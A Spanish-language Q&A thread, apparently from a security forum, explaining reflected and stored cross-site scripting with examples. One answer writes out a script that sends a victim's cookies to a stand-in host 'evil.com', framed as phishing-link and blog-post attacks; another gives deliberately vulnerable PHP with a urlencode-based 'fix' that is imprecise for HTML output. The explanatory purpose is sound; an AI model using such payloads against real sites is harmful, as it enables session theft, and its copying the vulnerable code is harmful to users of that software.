¿Qué es Reflected XSS?

24

Harto de la siguiente definición.

Los ataques reflejados son aquellos en los que el script inyectado se refleja en el servidor web, como en un mensaje de error, el resultado de la búsqueda o cualquier otra respuesta que incluya parte o toda la entrada enviada al servidor como parte de la solicitud. Los ataques reflejados se envían a las víctimas a través de otra ruta, como en un mensaje de correo electrónico o en algún otro sitio web. Cuando un usuario es engañado para que haga clic en un enlace malicioso, envíe un formulario especialmente diseñado o simplemente navegue a un sitio malicioso, el código inyectado viaja al sitio web vulnerable, que refleja el ataque al navegador del usuario. El navegador ejecuta el código porque proviene de un servidor "confiable"

Alguien me puede explicar con un ejemplo. ¿Y cuál es la principal diferencia entre Reflected XSS y Stored XSS?

    
pregunta user3273796 11.08.2014 - 18:39
fuente

5 respuestas

34

Digamos que navega a www.example.com/page?main.html y lo coloca en la página principal de example.com. Ahora navega hasta el índice, que se encuentra en www.example.com/page?index.html. Comienzas a preguntarte, ¿qué otras páginas hay?

Entonces escribes www.example.com/page?foo y presionas enter, y obtienes una página de error que dice algo así como "No se encontró el recurso foo".

Lo que hay que tener en cuenta aquí es que colocas un parámetro en la URL, y ese parámetro se refleja de nuevo como usuario. En este caso, era el parámetro "foo".

Ahora la idea detrás de XSS reflejada debería ser un poco más clara; en lugar de ingresar un parámetro cojo como "foo", ingresa algo como <script>alert(1)</script>foo y pulsa enter. En un sitio vulnerable, todo el parámetro se inyectará en la página de error que aparece, se ejecutará el javascript y aparecerá una ventana emergente además del mensaje "No se encontró el recurso". Si puede inducir a otra persona a navegar por el mismo enlace que creó, puede ejecutar un Javascript arbitrario en su sesión.

    
respondido por el Greg 12.08.2014 - 20:23
fuente
22

XSS reflejado

Le envío a la víctima un enlace a http://example.com/page?var=<script>alert('xss')</script> y en algún lugar de la página ese valor se devuelve a la víctima. El valor solo está en la página si siguen mi enlace especial.

La desventaja de este tipo es que tengo que atacar específicamente a una víctima o a un grupo de víctimas a las que puedo hacer clic en un enlace. Puede ser difícil que otra persona siga su enlace.

XSS almacenados

Encuentro una forma de hacer que un sitio web persista <script>alert('xss')</script> durante algún tiempo, tal vez en la base de datos. Luego, puedo enviar a la víctima a http://example.com/page y se lee el valor de la base de datos y se lo presenta a la víctima.

La ventaja de este tipo es que atacará a todos los que vean la página.

    
respondido por el John Downey 11.08.2014 - 19:05
fuente
9

Para ambos tipos de XSS, considera un fragmento de javascript como este:

<script>window.location='http://evil.com/?victimcookie='+document.cookie</script>

Si un pirata informático puede hacer que se reproduzca en otro sitio, puede recopilar todas las cookies de usuario para cualquier víctima que cargue una página de ese tipo en ese sitio. XSS reflejado y XSS almacenado (o XSS persistente) son dos métodos diferentes para que este script aparezca en un sitio vulnerable.

  • XSS reflejado: el script se pasa como un parámetro de solicitud a una parte vulnerable del sitio, y el sitio muestra el javascript en la página.
  • XSS almacenado: el javascript se almacena de forma desviada en la propia página a largo plazo.

Ejemplo de XSS reflejado

Soy un hacker y envío un correo electrónico de phish con el siguiente cuerpo.

  

Mira esto: enlace

donde el valor de la palabra clave param se decodifica en el fragmento de código javascript anterior. Cuando la víctima hace clic en el enlace, weak-site.com muestra una página con el script incrustado. El navegador redirige a la víctima al sitio del pirata informático y entrega la cookie de la víctima desde weak-site.com.

Ejemplo de XSS almacenado

Soy un hacker y creo una publicación de blog en weak-site.com con el siguiente contenido:

LOL :p. <script>window.location='http://evil.com/?victimcookie='+document.cookie</script>

Si el sitio muestra mi publicación intacta, puedo recopilar el valor de cookie de cada usuario que vea mi publicación.

    
respondido por el jaybrau 31.10.2015 - 00:20
fuente
2

Una explicación muy simple:

XSS reflejado : la carga útil del ataque se incluye en un parámetro cuando la víctima sigue una URL del sitio.

XSS almacenado : la carga útil del ataque se almacena en el sitio y cuando alguien visita la página, independientemente de la URL seguida, el ataque se ejecuta.

    
respondido por el Bryan Geraghty 12.08.2014 - 18:29
fuente
0

Es mejor dar ejemplos en lugar de escribir.

Reflectivo XSS POC

<?php
/**
 * @Author Vaibs
 *
 */
$cookie_name = "user";
$cookie_value = "John Doe";
setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/"); // 86400 = 1 day
if (isset($_REQUEST['Submit'])) { //check if form was submitted
    $input = isset($_REQUEST['appid']) ? $_REQUEST['appid'] : "";//get input text
    echo "Input from client is reflected back as ->  : " . $input;
}
?>

<html>
<body>
<form>
    <input type="text" name="appid"/>
    <input type="submit" name="Submit"/>
</form>
</body>
</html>

¿Cómo evitar? Respuesta: Lo más simple es usar la función de PHP urlencode.

<?php
/**
 * @Author Vaibs
 *
 */
$cookie_name = "user";
$cookie_value = "John Doe";
setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/"); // 86400 = 1 day
if (isset($_REQUEST['Submit'])) { //check if form was submitted
    $input = isset($_REQUEST['appid']) ? $_REQUEST['appid'] : "";//get input text
    echo "Input from client is reflected back as ->  : " . urlencode($input);
}
?>

<html>
<body>
<form>
    <input type="text" name="appid"/>
    <input type="submit" name="Submit"/>
</form>
</body>
</html>

La diferencia es el uso de la función urlencode que se ha utilizado en el segundo código.

    
respondido por el Vaibs 09.05.2017 - 18:35
fuente

Lea otras preguntas en las etiquetas